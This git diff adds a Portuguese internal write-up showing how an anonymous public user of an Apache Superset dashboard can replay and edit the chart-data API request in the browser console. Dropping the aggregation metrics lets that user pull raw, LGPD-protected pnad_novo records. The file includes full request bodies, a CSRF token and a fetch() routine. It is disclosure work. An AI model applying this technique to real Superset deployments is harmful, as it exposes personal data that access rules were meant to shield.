diff --git "a/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md" "b/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md" new file mode 100644 index 0000000000000000000000000000000000000000..5fc232f8a54f14c976930e55b215376869ba1986 --- /dev/null +++ "b/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md" @@ -0,0 +1,285 @@ +# Apresentação de uma falha de segurança de dados no superset +> :warning: O problema está relacionado com as tabelas antigas que não seguem a LGPD, ou seja, as tabelas desagregadas. Logo, tal problema não existe para os indicadores que utilizam fontes novas (agregadas), como por exemplo o indicador **Docentes por escola**. + +## Apresentação do problema +É sabido que os dados do banco `pnad_novo` não devem ser acessados de forma bruta, sem nenhuma forma de agragação, pois seus dados ferem a LGPD. +Acreditando que não seria um problema foi criado um indicador no Apache Superset utilizando este banco, **Taxa de atendimento**. Para testar como seria o comportamento de +um usuário público visualizando o dashboard desse indicador foi criado um "usuário público", que tem acesso aos dashboards e charts sem precisar fazer login. +É mostrado que é possÃvel esse usuário, utilizando ferramentas simples e documentação do Superset, extrair os dados brutos do dataset criado para o +indicador. + +## Estrutura do dataset +O indicador é representado como um dataset dentro da ferramenta, ou seja cada indicador tem seu dataset. Esse dataset contém colunas transformadas do banco `pnad_novo` +para mapear os valores do banco para labels com sentido. Além disso o superset permite criar métricas, funções de agregação, associadas a um dataset. Essas métricas garantem que os dados apresentados nos gráficos criados pelo dataset `Taxa atendimento - pnad_novo - glc22` não ferem a LGPD. + +O acordo é, todo o gráfico que for gerado utilizando `Taxa atendimento - pnad_novo - glc22` deve utilizar uma das métricas definidas para esse dataset, nesse exemplo a única métrica é[^1]: +```sql +round(sum(case when frequenta_escola = 1 THEN peso_domicilio_pessoas_com_cal ELSE 0 END)) / round(sum(peso_domicilio_pessoas_com_cal)) as peso_pessoas +``` + +## Roles e usuário público no Apache Superset +O superset possui uma role `Public` onde são definidas as permissões do usuário público, aquele que não precisa de login. A role contém apenas permissões de leituras essenciais para a visualização exclusiva do dashboard criado para o indicador criado. Entre elas estão algumas como: +- `Can read on Dashboard` +- `Can read on Chart` +- `Can read on Dataset` +- `Can read on Datasource` +- `datasource access on [ClickHouse teste].[Taxa atendimento - pnad_novo - glc22](id:27)` + +Como podemos ver é necessário ter acesso a uma diversa gama de módulos do superset para poder visualizar o dashoard. Também é necessário que o usuário público tenha acesso ao dataset. + +## Explorando o problema +Foi fácil perceber que o superset não restringe a chamadas de API vindas apenas de charts já criados, ou seja é possÃvel analisar as requisições de API e executar uma query no dataset. + +### 1. Entendendo como o chart faz a requisição +Para um chart obter os dados para manipular é feita uma requisição para o endpoint `http://{host}:8088/api/v1/chart/data`, a requisição deve der do formato especificado na documentação da API. As informações relevantes da requisição são +- `body`: Deve ser um objeto json +- `credentials` +- `hearders` +- `mode` + +Dentro do objeto `body` o chart envia +- `queries` +- `form_data` +Onde `queries` armazena qual a query que deve ser feita pelo chart para +retornar os dados corretos para ele utilizar. + +### 2. Extraindo informações da requisição de dados +Explorando as requisições feitas por um chart no debugger do browser é possÃvel clonar a requisição utilizando o `fetch API` no console do browser. + +Por exemplo, seja as informações necessárias para a requisição +```js +APIEndpoint = `http://${host}:8088/api/v1/chart/data` +body_json = { + "datasource": { + "id": 27, + "type": "table" + }, + "force": true, + "queries": [ + { + "filters": [], + "extras": { + "having": "", + "where": "" + }, + "applied_time_extras": {}, + "columns": [ + "ANO", + "FAIXA_ETARIA" + ], + "metrics": [ + "peso_pessoas" + ], + "orderby": [ + [ + "peso_pessoas", + true + ] + ], + "annotation_layers": [], + "row_limit": 1000, + "series_limit": 0, + "order_desc": false, + "url_params": {}, + "custom_params": {}, + "custom_form_data": {} + } + ], + "form_data": { + "datasource": "27__table", + "viz_type": "pivot_table_v2", + "slice_id": 340, + "url_params": {}, + "groupbyColumns": [ + "ANO" + ], + "groupbyRows": [ + "FAIXA_ETARIA" + ], + "temporal_columns_lookup": {}, + "metrics": [ + "peso_pessoas" + ], + "metricsLayout": "COLUMNS", + "adhoc_filters": [], + "row_limit": 1000, + "order_desc": false, + "aggregateFunction": "Sum", + "valueFormat": ".2%", + "date_format": "smart_date", + "rowOrder": "key_a_to_z", + "colOrder": "key_a_to_z", + "conditional_formatting": [ + { + "colorScheme": "#439066", + "column": "peso_pessoas", + "operator": "≥", + "targetValue": 0.9 + }, + { + "colorScheme": "#ACE1C4", + "column": "peso_pessoas", + "operator": "< x <", + "targetValueLeft": "0.49", + "targetValueRight": "0.9" + }, + { + "colorScheme": "#FDE380", + "column": "peso_pessoas", + "operator": "< x <", + "targetValueLeft": "0", + "targetValueRight": "0.5" + } + ], + "allow_render_html": true, + "dashboards": [ + 14 + ], + "extra_form_data": {}, + "label_colors": {}, + "shared_label_colors": { + "Mulher": "#1FA8C9", + "Homem": "#454E7C", + "peso_pessoas": "#1FA8C9", + "Ignorado": "#454E7C", + "11 a 14 anos": "#5AC189", + "6 a 10 anos": "#FF7F44", + "15 a 17 anos": "#666666", + "0 a 3 anos": "#E04355", + "18 a 24 anos": "#FCC700", + "Amarela": "#A868B7", + "4 a 5 anos": "#3CCCCB", + "Branca": "#A38F79", + "Parda": "#8FD3E4", + "Preta": "#A1A6BD", + "IndÃgena": "#ACE1C4" + }, + "extra_filters": [], + "dashboardId": 14, + "force": true, + "result_format": "json", + "result_type": "full" + }, + "result_format": "json", + "result_type": "full" +} + +init = { + "body": JSON.stringify(body_json), + "credentials": "same-origin", + "headers": { + "Accept": "application/json", + "X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M", + "Content-Type": "application/json" + }, + "method": "POST", +} +``` + +Todas as informações foram retiradas da requisição feita por algum chart no dashboard. Para achar qual foi a requisição basta analisar os logs na aba de redes do DevTools e ver qual deles faz requisição para `'http://{host}:8088/api/v1/chart/data'`. + +### 3. Alterando a requisição +Agora com as informações necessárias vamos alterar a variável `body_json.queries[0]`, para alterar como vai ser a query realizada no backend. + +Se retirar o campo `metrics`, deixar vazio o campo `orderby` e deixar o campo `body_json.form_data` como `null` obtendo +```js +body_json = { + "datasource": { + "id": 27, + "type": "table" + }, + "force": true, + "queries": [ + { + "filters": [], + "extras": { + "having": "", + "where": "" + }, + "applied_time_extras": {}, + "columns": [ + "ANO", + "FAIXA_ETARIA" + ], + "orderby": [], + "annotation_layers": [], + "row_limit": 1000, + "series_limit": 0, + "order_desc": false, + "url_params": {}, + "custom_params": {}, + "custom_form_data": {} + } + ], + "form_data": null + "result_format": "json", + "result_type": "full" +} +``` + +Como essa nova configuração é possÃvel realizar um query que envolve os dados brutos do dataset, sem nenhuma função de agregação. + +#### Realizando a query com fetch API +Basta utilizar o `fetch API` no DevTools e pronto, os dados estão la +```js +// Execute no DevTools +APIEndpoint = `http://${host}:8088/api/v1/chart/data` +body_json = { + "datasource": { + "id": 27, + "type": "table" + }, + "force": true, + "queries": [ + { + "filters": [], + "extras": { + "having": "", + "where": "" + }, + "applied_time_extras": {}, + "columns": [ + "ANO", + "FAIXA_ETARIA" + ], + "orderby": [], + "annotation_layers": [], + "row_limit": 1000, + "series_limit": 0, + "order_desc": false, + "url_params": {}, + "custom_params": {}, + "custom_form_data": {} + } + ], + "form_data": null, + "result_format": "json", + "result_type": "full" +} +init = { + "body": JSON.stringify(body_json), + "credentials": "same-origin", + "headers": { + "Accept": "application/json", + "X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M", + "Content-Type": "application/json" + }, + "method": "POST", +} + +async function getData(){ + init.body = JSON.stringify(body_json); + let res = await fetch(APIEndpoint, init); + console.log(await res.json()); +} +``` + +### 4. Notas +1. Colete os seus próprios dados para fazer esse teste, ou seja, pode ser que não funcione copiar e colar os exemplos. É necessário que sejam obtidos os dados da aba de Rede do DevTools par seguir com o experimento. +2. Leia a documentação da API do superset sobre o endpoint `/api/v1/chart/data` para descobrir mais sobre. No exemplo alteramos apenas `orderby` e `metrics`, entretanto é possÃvel alterar `columns` e obter dados diferentes do dataset. +3. Mudando a variável `body_json.datasource.id` é possÃvel obter dados sobre outros datasets que o usuário público tem acesso. + +## Restrições para realizar a extração +Como dito anteriormente, para o usuário público ter acesso a um certo dashboard é necessário que ele tenha acesso aos datasets que aquele dashboard utiliza. Logo, não é possÃvel utilizar o método apresentado em datasets que o usuário público tem acesso. + +[^1]: Apresentação ilustrativa da métrica, não é realmente assim que define ela no dataset.